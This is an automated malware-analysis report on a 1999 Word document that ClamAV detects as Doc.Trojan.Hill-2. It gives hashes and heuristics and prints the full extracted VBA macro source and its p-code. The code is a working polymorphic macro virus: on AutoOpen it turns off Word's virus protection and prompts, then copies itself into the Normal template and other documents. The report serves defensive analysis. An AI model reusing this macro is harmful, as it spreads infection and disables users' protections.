Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 001015aafcae8a69…

MALICIOUS

Office (OLE)

62.5 KB Created: 1999-05-15 17:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b214da9f6b0d6e6de5090b3f9672defe SHA-1: b7162dfcbcac2724c71c03385abe577e1ab0cd8d SHA-256: 001015aafcae8a6942366cbb0e7d39c0738752a7800c41ea1c655d47b0a4d04c
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that disable virus protection and attempt to replicate themselves to the Normal template. This behavior is indicative of a macro-based malware that aims for persistence and potential spread. The ClamAV detection 'Doc.Trojan.Hill-2' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Hill-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hill-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
       Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15395 bytes
SHA-256: 101ece6e5eebabeaa75d85e4ab642e739de78b2217e227f481de3fa995830350
Detection
ClamAV: Doc.Trojan.Hill-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Public TNSCAJ, TNSCARN
Public TNSCAMT, TNSCAVT
Sub AutoOpen()
   On Error Resume Next
 WQQGNRPFF = "AI“ЁIћoЈD„X875GЂ=ҐЊ" 'nY<BZeDA2
   Set NT = NormalTemplate.VBProject.VBComponents(1).CodeModule
 AQGXVWWMVUQSXLFTQA = "vEћ�’~f„ " 'mFs]‡«P
   Set AD = ActiveDocument.VBProject.VBComponents(1).CodeModule
 SHNJDVX = "HILhy“{WY…€Ё " 'ctH¬{TOCKA
   Options.VirusProtection = False
 QVAXEEJIALGRFJG = "3Ґ«~rЉ<­`l1 " 'љ
   Options.ConfirmConversions = False
 WIHGXPCXSCI = "Ly0KTa›IEsV" '`TCЉ
   Options.SaveNormalPrompt = False
 CMVUTDHLWTYITQTLZLD = "b¬qtL�NЏ" '¤}«LdG
   Randomize
 WKGAOJGK = "«t}ЇH¤" 'J‰OOKЂ
   TNSCAMT = "TNSCA"
 USMEB = "ћ4€gq3KЂўNЉ1]" '‡C4
   TNSCAVT = TNSCAGN(7, 26, 65)
 XFUHE = "©|O­bK‘uѓ¤w”NgcQ" 'L7
   TNSCARN = Mid(Str(Int(7 * Rnd + 1)), 2)
 GQTGFGYH = "{`€Ѓ\3Q…T\@–Ґ}92Z`" '>PX[s]CЂvў
   If NT.CountOfLines < 60 Then
 RM = "\GF@GHљX_‚†o©Џ;V" '‚ђsyQҐJ
      TNSCAS = TNSCACM(AD, NT)
 AWQNNZVNXV = "y9lTЊ¬ЇRcX5>" '‹|
   Else
 ZZYHU = "WD\" '2
      TNSCAS = TNSCACM(NT, AD)
 RVPQWUIZQLTRQ = "“V8hNN" '‡MZOv
   End If
 YWRPDJAFMTSWX = "}™@1§„iў6X‘_ �™ђ67" 'M9ў—zѓje
End Sub
Function TNSCACM(TNSCAOC, TNSCAKC)
   TNSCAJ = 1
 TKYS = "tOџ©UMiџ›" 'Ќb]XњOp6_
   For i = 1 To TNSCAOC.CountOfLines
 XGARU = "– 9Ў>ў ћY>ћKwђF›La‚z" 'LLџHњ‰ЃqP
      If TNSCACS(TNSCAOC.Lines(i, 1)) <> 1 Then
 ECSXOGVEYL = "A6s>" 'khC
         TNSCALN = TNSCARP(TNSCAOC.Lines(i, 1), TNSCAMT, TNSCAVT)
 '
         TNSCALN = TNSCARP(TNSCALN, "7", TNSCARN)
 QVMHKOQFQVBJFMKPZDZ = "Ђ®®J~GR7NЇ®‡Ox“1f•" '}
         TNSCAKC.InsertLines TNSCAJ, TNSCALN
 PYZNJZFZO = "zw5–z¬•ђXN™nЈ[I|D" 'cg
         TNSCAJ = TNSCAJ + 1
 XKLRZLNZWX = " њ^¦ўI9•v" 'avfЈw1^[
         If TNSCACS(TNSCAOC.Lines(i, 1)) = 0 Then
 IEFAVAA = "j1Ђ‚«:¤vLЃt8ЉWc" '>
            R = Rnd
 'bQst“Ky«<
            If R < 1 And R > 0.08 Then
 TUR = "rx^bm" 'MQ‡v
               TNSCAKC.InsertLines TNSCAJ, " " + TNSCAGN(7, 26, 65) + " = " + Chr(34) + TNSCAGN(7, 128, 48) + Chr(34) + " " + Chr(39) + TNSCAGN(10, 128, 48)
 PJRVTS = " џЈfLC;:џЃ{Ґy" ' |
            End If
 GF = "5‚‡P§" 'e[1^
            If R < 0.08 And R > 0.05 Then
 UOGHIK = "®Њ4kSЄMjћ–FgЉB‘8" 'q0|“”‘’BT€
            End If
 ZKOCBAPMOUSIQZFVNHKX = "?oT|XBў" 'Eљ]‰y
            If R < 0.05 And R > 0.03 Then
 QMPIMRENPPTUSRNXLR = "3¬g<ELҐD‚" 'RjЇoZЋЇH]w
            End If
 '
            If R > 0.03 Then TNSCAJ = TNSCAJ + 1
 LSFHENVNPDLNKQSVFZJX = "8‰gW" 'TI‹|9¦k
         End If
 ODLPPJVNYVYYV = "sc 9“P‹" '^R}a�„
      End If
 CKWE = "Љ–ЇF•HIЊ" '�‡g{~¬“I:џ
   Next
 AJJNJUWDPDWGBT = "Ќ|Q‡„€Ѓќ" 'qЃ‹xi
End Function
Function TNSCACS(TNSCAST)
   TNSCACS = 0
 AULXRQQFIGSQFGXQX = "•hM^i©z¬ќP`Љr" ' ]b7FG®Zn
   For i = 1 To Len(TNSCAST)
 JQHUAUPPRRTKWLKK = "†" 'j„Ћ@®r4џ
      If Mid(TNSCAST, i, 1) = Chr(39) Then TNSCACS = 1
 ESAQOCPS = "Ї" '4Є‹“”
   Next
 BTMON = "Cq2§UЂV" 'Ё_RGЇ
   If Mid(TNSCAST, 1, 1) <> " " Then TNSCACS = 2
 XAFCEEFWVPVQAVY = ":‚ЈQ©¬\љђTqX 1ЂZЏ^Ђ_" 'ZA¤I§~њt
End Function
Function TNSCAGN(TNSCASA, TNSCASB, TNSCASC)
   TNSCAGN = ""
 CATSNGDYZLTOYPPDUJ = "†2ckaN1C0t¤V" 'G^®
   For TNSCAI = 1 To Int(TNSCASA * Rnd + 1)
 LTIBRWXWUVB = "¦Mђњ—|џ" 'g•
      TNSCAGN = TNSCAGN + Chr(Int(TNSCASB * Rnd + TNSCASC))
 VMXNFXFCFX = "VyBЁ«ќЊN" '|—P
   Next
 UMUQJFKYIVJTA = "0N|62ZC=«gTЂћsќ" '>p1E~Ќg
End Function
Function TNSCARP(TNSCAST, TNSCAZA, TNSCAZB)
   TNSCALA = Len(TNSCAZA)
 XWX = ">" 'P5AЎJn;c”
   For ii = 1 To Len(TNSCAST)
 ODKW = "I@<\•—¦o„k`A3“l0O¬{" '“­1fa—”{
      If Mid(TNSCAST, ii, TNSCALA) = TNSCAZA Then
 UMLL = "�S" ']=AC1F?
         TNSCAST = Mid(TNSCAST, 1, ii - 1) + TNSCAZB + Mid(TNSCAST, ii + TNSCALA)
 XCPGIRUGTIFWKALLDTUB = "soG”‚­j1:" '—EJ†Џvђ
      End If
 XARCAGNZJNBTHLOOBPT = "…—Z;T®0‘" '­kSiљ
   Next
 MFQ = "ЌDЈ‘X©>ЂnbHh" 'LM
   TNSCARP = TNSCAST
 VJYEGXKWFUQUVDIT = "H”" '§myyhBT
End Function


' Processing file: /tmp/tmpdlxgm2vv.doc
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 19739 bytes
' Line #0:
' 	Dim (Public) 
' 	VarDefn TNSCAJ
' 	VarDefn TNSCARN
' Line #1:
' 	Dim (Public) 
' 	VarDefn TNSCAMT
' 	VarDefn TNSCAVT
' Line #2:
' 	FuncDefn (Sub AutoOpen())
' Line #3:
' 	OnError (Resume Next) 
' Line #4:
' 	LitStr 0x0013 "AI“ЁIћoЈD„X875GЂ=ҐЊ"
' 	St WQQGNRPFF 
' 	QuoteRem 0x0023 0x0009 "nY<BZeDA2"
' Line #5:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set NT 
' Line #6:
' 	LitStr 0x0009 "vEћ�’~f„ "
' 	St AQGXVWWMVUQSXLFTQA 
' 	QuoteRem 0x0022 0x0007 "mFs]‡«P"
' Line #7:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd CodeModule 
' 	Set AD 
' Line #8:
' 	LitStr 0x000D "HILhy“{WY…€Ё "
' 	St SHNJDVX 
' 	QuoteRem 0x001B 0x000A "ctH¬{TOCKA"
' Line #9:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #10:
' 	LitStr 0x000C "3Ґ«~rЉ<­`l1 "
' 	St QVAXEEJIALGRFJG 
' 	QuoteRem 0x0022 0x0001 "љ"
' Line #11:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #12:
' 	LitStr 0x000B "Ly0KTa›IEsV"
' 	St WIHGXPCXSCI 
' 	QuoteRem 0x001D 0x0004 "`TCЉ"
' Line #13:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #14:
' 	LitStr 0x0008 "b¬qtL�NЏ"
' 	St CMVUTDHLWTYITQTLZLD 
' 	QuoteRem 0x0022 0x0006 "¤}«LdG"
' Line #15:
' 	ArgsCall Read 0x0000 
' Line #16:
' 	LitStr 0x0006 "«t}ЇH¤"
' 	St WKGAOJGK 
' 	QuoteRem 0x0015 0x0006 "J‰OOKЂ"
' Line #17:
' 	LitStr 0x0005 "TNSCA"
' 	St TNSCAMT 
' Line #18:
' 	LitStr 0x000D "ћ4€gq3KЂўNЉ1]"
' 	St USMEB 
' 	QuoteRem 0x0019 0x0003 "‡C4"
' Line #19:
' 	LitDI2 0x0007 
' 	LitDI2 0x001A 
' 	LitDI2 0x0041 
' 	ArgsLd TNSCAGN 0x0003 
' 	St TNSCAVT 
' Line #20:
' 	LitStr 0x0010 "©|O­bK‘uѓ¤w”NgcQ"
' 	St XFUHE 
' 	QuoteRem 0x001C 0x0002 "L7"
' Line #21:
' 	LitDI2 0x0007 
' 	Ld Rnd 
' 	Mul 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	ArgsLd Str 0x0001 
' 	LitDI2 0x0002 
' 	ArgsLd Mid$ 0x0002 
' 	St TNSCARN 
' Line #22:
' 	LitStr 0x0012 "{`€Ѓ\3Q…T\@–Ґ}92Z`"
' 	St GQTGFGYH 
' 	QuoteRem 0x0021 0x000A ">PX[s]CЂvў"
' Line #23:
' 	Ld NT 
' 	MemLd CountOfLines 
' 	LitDI2 0x003C 
' 	Lt 
' 	IfBlock 
' Line #24:
' 	LitStr 0x0010 "\GF@GHљX_‚†o©Џ;V"
' 	St RM 
' 	QuoteRem 0x0019 0x0007 "‚ђsyQҐJ"
' Line #25:
' 	Ld AD 
' 	Ld NT 
' 	ArgsLd TNSCACM 0x0002 
' 	St TNSCAS 
' Line #26:
' 	LitStr 0x000C "y9lTЊ¬ЇRcX5>"
' 	St AWQNNZVNXV 
' 	QuoteRem 0x001D 0x0002 "‹|"
' Line #27:
' 	ElseBlock 
' Line #28:
' 	LitStr 0x0003 "WD\"
' 	St ZZYHU 
' 	QuoteRem 0x000F 0x0001 "2"
' Line #29:
' 	Ld NT 
' 	Ld AD 
' 	ArgsLd TNSCACM 0x0002 
' 	St TNSCAS 
' Line #30:
' 	LitStr 0x0006 "“V8hNN"
' 	St RVPQWUIZQLTRQ 
' 	QuoteRem 0x001A 0x0005 "‡MZOv"
' Line #31:
' 	EndIfBlock 
' Line #32:
' 	LitStr 0x0012 "}™@1§„iў6X‘_ �™ђ67"
' 	St YWRPDJAFMTSWX 
' 	QuoteRem 0x0026 0x0008 "M9ў—zѓje"
' Line #33:
' 	EndSub 
' Line #34:
' 	FuncDefn (Function TNSCACM(TNSCAOC, TNSCAKC, id_FFFE As Variant))
' Line #35:
' 	LitDI2 0x0001 
' 	St TNSCAJ 
' Line #36:
' 	LitStr 0x0009 "tOџ©UMiџ›"
' 	St TKYS 
' 	QuoteRem 0x0014 0x0009 "Ќb]XњOp6_"
' Line #37:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld TNSCAOC 
' 	MemLd CountOfLines 
' 	For 
' Line #38:
' 	LitStr 0x0014 "– 9Ў>ў ћY>ћKwђF›La‚z"
' 	St XGARU 
' 	QuoteRem 0x0020 0x0009 "LLџHњ‰ЃqP"
' Line #39:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld TNSCAOC 
' 	ArgsMemLd Lines 0x0002 
' 	ArgsLd TNSCACS 0x0001 
' 	LitDI2 0x0001 
' 	Ne 
' 	IfBlock 
' Line #40:
' 	LitStr 0x0004 "A6s>"
' 	St ECSXOGVEYL 
' 	QuoteRem 0x0015 0x0003 "khC"
' Line #41:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld TNSCAOC 
' 	ArgsMemLd Lines 0x0002 
' 	Ld TNSCAMT 
' 	Ld TNSCAVT 
' 	ArgsLd TNSCARP 0x0003 
' 	St TNSCALN 
' Line #42:
' 	QuoteRem 0x0001 0x0000 ""
' Line #43:
' 	Ld TNSCALN 
' 	LitStr 0x0001 "7"
' 	Ld TNSCARN 
' 	ArgsLd TNSCARP 0x0003 
' 	St TNSCALN 
' Line #44:
' 	LitStr 0x0012 "Ђ®®J~GR7NЇ®‡Ox“1f•"
' 	St QVMHKOQFQVBJFMKPZDZ 
' 	QuoteRem 0x002C 0x0001 "}"
' Line #45:
' 	Ld TNSCAJ 
' 	Ld TNSCALN 
' 	Ld TNSCAKC 
' 	ArgsMemCall InsertLines 0x0002 
' Line #46:
' 	LitStr 0x0011 "zw5–z¬•ђXN™nЈ[I|D"
' 	St PYZNJZFZO 
' 	QuoteRem 0x0021 0x0002 "cg"
' Line #47:
' 	Ld TNSCAJ 
' 	LitDI2 0x0001 
' 	Add 
' 	St TNSCAJ 
' Line #48:
' 	LitStr 0x0009 " њ^¦ўI9•v"
' 	St XKLRZLNZWX 
' 	QuoteRem 0x001A 0x0008 "avfЈw1^["
' Line #49:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld TNSCAOC 
' 	ArgsMemLd Lines 0x0002 
' 	ArgsLd TNSCACS 0x0001 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	LitStr 0x000F "j1Ђ‚«:¤vLЃt8ЉWc"
' 	St IEFAVAA 
' 	QuoteRem 0x001D 0x0001 ">"
' Line #51:
' 	Ld Rnd 
' 	St R 
' Line #52:
' 	QuoteRem 0x0001 0x0009 "bQst“Ky«<"
' Line #53:
' 	Ld R 
' 	LitDI2 0x0001 
' 	Lt 
' 	Ld R 
' 	LitR8 0x147B 0x47AE 0x7AE1 0x3FB4 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #54:
' 	LitStr 0x0005 "rx^bm"
' 	St TUR 
' 	QuoteRem 0x000F 0x0004 "MQ‡v"
' Line #55:
' 	Ld TNSCAJ 
' 	LitStr 0x0001 " "
' 	LitDI2 0x0007 
' 	LitDI2 0x001A 
' 	LitDI2 0x0041 
' 	ArgsLd TNSCAGN 0x0003 
' 	Add 
' 	LitStr 0x0003 " = "
' 	Add 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0007 
' 	LitDI2 0x0080 
' 	LitDI2 0x0030 
' 	ArgsLd TNSCAGN 0x0003 
' 	Add 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0001 " "
' 	Add 
' 	LitDI2 0x0027 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x000A 
' 	LitDI2 0x0080 
' 	LitDI2 0x0030 
' 	ArgsLd TNSCAGN 0x0003 
' 	Add 
' 	Ld TNSCAKC 
' 	ArgsMemCall InsertLines 0x0002 
' Line #56:
' 	LitStr 0x000D " џЈfLC;:џЃ{Ґy"
' 	St PJRVTS 
' 	QuoteRem 0x001A 0x0002 " |"
' Line #57:
' 	EndIfBlock 
' Line #58:
' 	LitStr 0x0005 "5‚‡P§"
' 	St GF 
' 	QuoteRem 0x000E 0x0004 "e[1^"
' Line #59:
' 	Ld R 
' 	LitR8 0x147B 0x47AE 0x7AE1 0x3FB4 
' 	Lt 
' 	Ld R 
' 	LitR8 0x999A 0x9999 0x9999 0x3FA9 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #60:
' 	LitStr 0x0010 "®Њ4kSЄMjћ–FgЉB‘8"
' 	St UOGHIK 
' 	QuoteRem 0x001D 0x000A "q0|“”‘’BT€"
' Line #61:
' 	EndIfBlock 
' Line #62:
' 	LitStr 0x0007 "?oT|XBў"
' 	St ZKOCBAPMOUSIQZFVNHKX 
' 	QuoteRem 0x0022 0x0005 "Eљ]‰y"
' Line #63:
' 	Ld R 
' 	LitR8 0x999A 0x9999 0x9999 0x3FA9 
' 	Lt 
' 	Ld R 
' 	LitR8 0x1EB8 0xEB85 0xB851 0x3F9E 
' 	Gt 
' 	And 
' 	IfBlock 
' Line #64:
' 	LitStr 0x0009 "3¬g<ELҐD‚"
' 	St QMPIMRENPPTUSRNXLR 
' 	QuoteRem 0x0022 0x000A "RjЇoZЋЇH]w"
' Line #65:
' 	EndIfBlock 
' Line #66:
' 	QuoteRem 0x0001 0x0000 ""
' Line #67:
' 	Ld R 
' 	LitR8 0x1EB8 0xEB85 0xB851 0x3F9E 
' 	Gt 
' 	If 
' 	BoSImplicit 
' 	Ld TNSCAJ 
' 	LitDI2 0x0001 
' 	Add 
' 	St TNSCAJ 
' 	EndIf 
' Line #68:
' 	LitStr 0x0004 "8‰gW"
' 	St LSFHENVNPDLNKQSVFZJX 
' 	QuoteRem 0x001F 0x0007 "TI‹|9¦k"
' Line #69:
' 	EndIfBlock 
' Line #70:
' 	LitStr 0x0007 "sc 9“P‹"
' 	St ODLPPJVNYVYYV 
' 	QuoteRem 0x001B 0x0006 "^R}a�„"
' Line #71:
' 	EndIfBlock 
' Line #72:
' 	LitStr 0x0008 "Љ–ЇF•HIЊ"
' 	St CKWE 
' 	QuoteRem 0x0013 0x000A "�‡g{~¬“I:џ"
' Line #73:
' 	StartForVariable 
' 	Next 
' Line #74:
' 	LitStr 0x0008 "Ќ|Q‡„€Ѓќ"
' 	St AJJNJUWDPDWGBT 
' 	QuoteRem 0x001D 0x0005 "qЃ‹xi"
' Line #75:
' 	EndFunc 
' Line #76:
' 	FuncDefn (Function TNSCACS(TNSCAST, id_FFFE As Variant))
' Line #77:
' 	LitDI2 0x0000 
' 	St TNSCACS 
' Line #78:
' 	LitStr 0x000D "•hM^i©z¬ќP`Љr"
' 	St AULXRQQFIGSQFGXQX 
' 	QuoteRem 0x0025 0x0009 " ]b7FG®Zn"
' Line #79:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld TNSCAST 
' 	FnLen 
' 	For 
' Line #80:
' 	LitStr 0x0001 "†"
' 	St JQHUAUPPRRTKWLKK 
' 	QuoteRem 0x0018 0x0008 "j„Ћ@®r4џ"
' Line #81:
' 	Ld TNSCAST 
' 	Ld i 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitDI2 0x0027 
' 	ArgsLd Chr 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St TNSCACS 
' 	EndIf 
' Line #82:
' 	LitStr 0x0001 "Ї"
' 	St ESAQOCPS 
' 	QuoteRem 0x0010 0x0005 "4Є‹“”"
' Line #83:
' 	StartForVariable 
' 	Next 
' Line #84:
' 	LitStr 0x0007 "Cq2§UЂV"
' 	St BTMON 
' 	QuoteRem 0x0013 0x0005 "Ё_RGЇ"
' Line #85:
' 	Ld TNSCAST 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	ArgsLd Mid$ 0x0003 
' 	LitStr 0x0001 " "
' 	Ne 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0002 
' 	St TNSCACS 
' 	EndIf 
' Line #86:
' 	LitStr 0x0014 ":‚ЈQ©¬\љђTqX 1ЂZЏ^Ђ_"
' 	St XAFCEEFWVPVQAVY 
' 	QuoteRem 0x002A 0x0008 "ZA¤I§~њt"
' Line #87:
' 	EndFunc 
' Line #88:
' 	FuncDefn (Function TNSCAGN(TNSCASA, TNSCASB, TNSCASC, id_FFFE As Variant))
' Line #89:
' 	LitStr 0x0000 ""
' 	St TNSCAGN 
' Line #90:
' 	LitStr 0x000C "†2ckaN1C0t¤V"
' 	St CATSNGDYZLTOYPPDUJ 
' 	QuoteRem 0x0025 0x0003 "G^®"
' Line #91:
' 	StartForVariable 
' 	Ld TNSCAI 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld TNSCASA 
' 	Ld Rnd 
' 	Mul 
' 	LitDI2 0x0001 
' 	Add 
' 	FnInt 
' 	For 
' Line #92:
' 	LitStr 0x0007 "¦Mђњ—|џ"
' 	St LTIBRWXWUVB 
' 	QuoteRem 0x0019 0x0002 "g•"
' Line #93:
' 	Ld TNSCAGN 
' 	Ld TNSCASB 
' 	Ld Rnd 
' 	Mul 
' 	Ld TNSCASC 
' 	Add 
' 	FnInt 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	St TNSCAGN 
' Line #94:
' 	LitStr 0x0008 "VyBЁ«ќЊN"
' 	St VMXNFXFCFX 
' 	QuoteRem 0x0019 0x0003 "|—P"
' Line #95:
' 	StartForVariable 
' 	Next 
' Line #96:
' 	LitStr 0x000F "0N|62ZC=«gTЂћsќ"
' 	St UMUQJFKYIVJTA 
' 	QuoteRem 0x0023 0x0007 ">p1E~Ќg"
' Line #97:
' 	EndFunc 
' Line #98:
' 	FuncDefn (Function TNSCARP(TNSCAST, TNSCAZA, TNSCAZB, id_FFFE As Variant))
' Line #99:
' 	Ld TNSCAZA 
' 	FnLen 
' 	St TNSCALA 
' Line #100:
' 	LitStr 0x0001 ">"
' 	St XWX 
' 	QuoteRem 0x000B 0x0009 "P5AЎJn;c”"
' Line #101:
' 	StartForVariable 
' 	Ld ii 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld TNSCAST 
' 	FnLen 
' 	For 
' Line #102:
' 	LitStr 0x0013 "I@<\•—¦o„k`A3“l0O¬{"
' 	St ODKW 
' 	QuoteRem 0x001E 0x0008 "“­1fa—”{"
' Line #103:
' 	Ld TNSCAST 
' 	Ld ii 
' 	Ld TNSCALA 
' 	ArgsLd Mid$ 0x0003 
' 	Ld TNSCAZA 
' 	Eq 
' 	IfBlock 
' Line #104:
' 	LitStr 0x0002 "�S"
' 	St UMLL 
' 	QuoteRem 0x000D 0x0007 "]=AC1F?"
' Line #105:
' 	Ld TNSCAST 
' 	LitDI2 0x0001 
' 	Ld ii 
' 	LitDI2 0x0001 
' 	Sub 
' 	ArgsLd Mid$ 0x0003 
' 	Ld TNSCAZB 
' 	Add 
' 	Ld TNSCAST 
' 	Ld ii 
' 	Ld TNSCALA 
' 	Add 
' 	ArgsLd Mid$ 0x0002 
' 	Add 
' 	St TNSCAST 
' Line #106:
' 	LitStr 0x0009 "soG”‚­j1:"
' 	St XCPGIRUGTIFWKALLDTUB 
' 	QuoteRem 0x0024 0x0007 "—EJ†Џvђ"
' Line #107:
' 	EndIfBlock 
' Line #108:
' 	LitStr 0x0008 "…—Z;T®0‘"
' 	St XARCAGNZJNBTHLOOBPT 
' 	QuoteRem 0x0022 0x0005 "­kSiљ"
' Line #109:
' 	StartForVariable 
' 	Next 
' Line #110:
' 	LitStr 0x000C "ЌDЈ‘X©>ЂnbHh"
' 	St MFQ 
' 	QuoteRem 0x0016 0x0002 "LM"
' Line #111:
' 	Ld TNSCAST 
' 	St TNSCARP 
' Line #112:
' 	LitStr 0x0002 "H”"
' 	St VJYEGXKWFUQUVDIT 
' 	QuoteRem 0x0019 0x0007 "§myyhBT"
' Line #113:
' 	EndFunc 
' Line #114:

Open this report in the interactive analyzer, or submit your own file for analysis.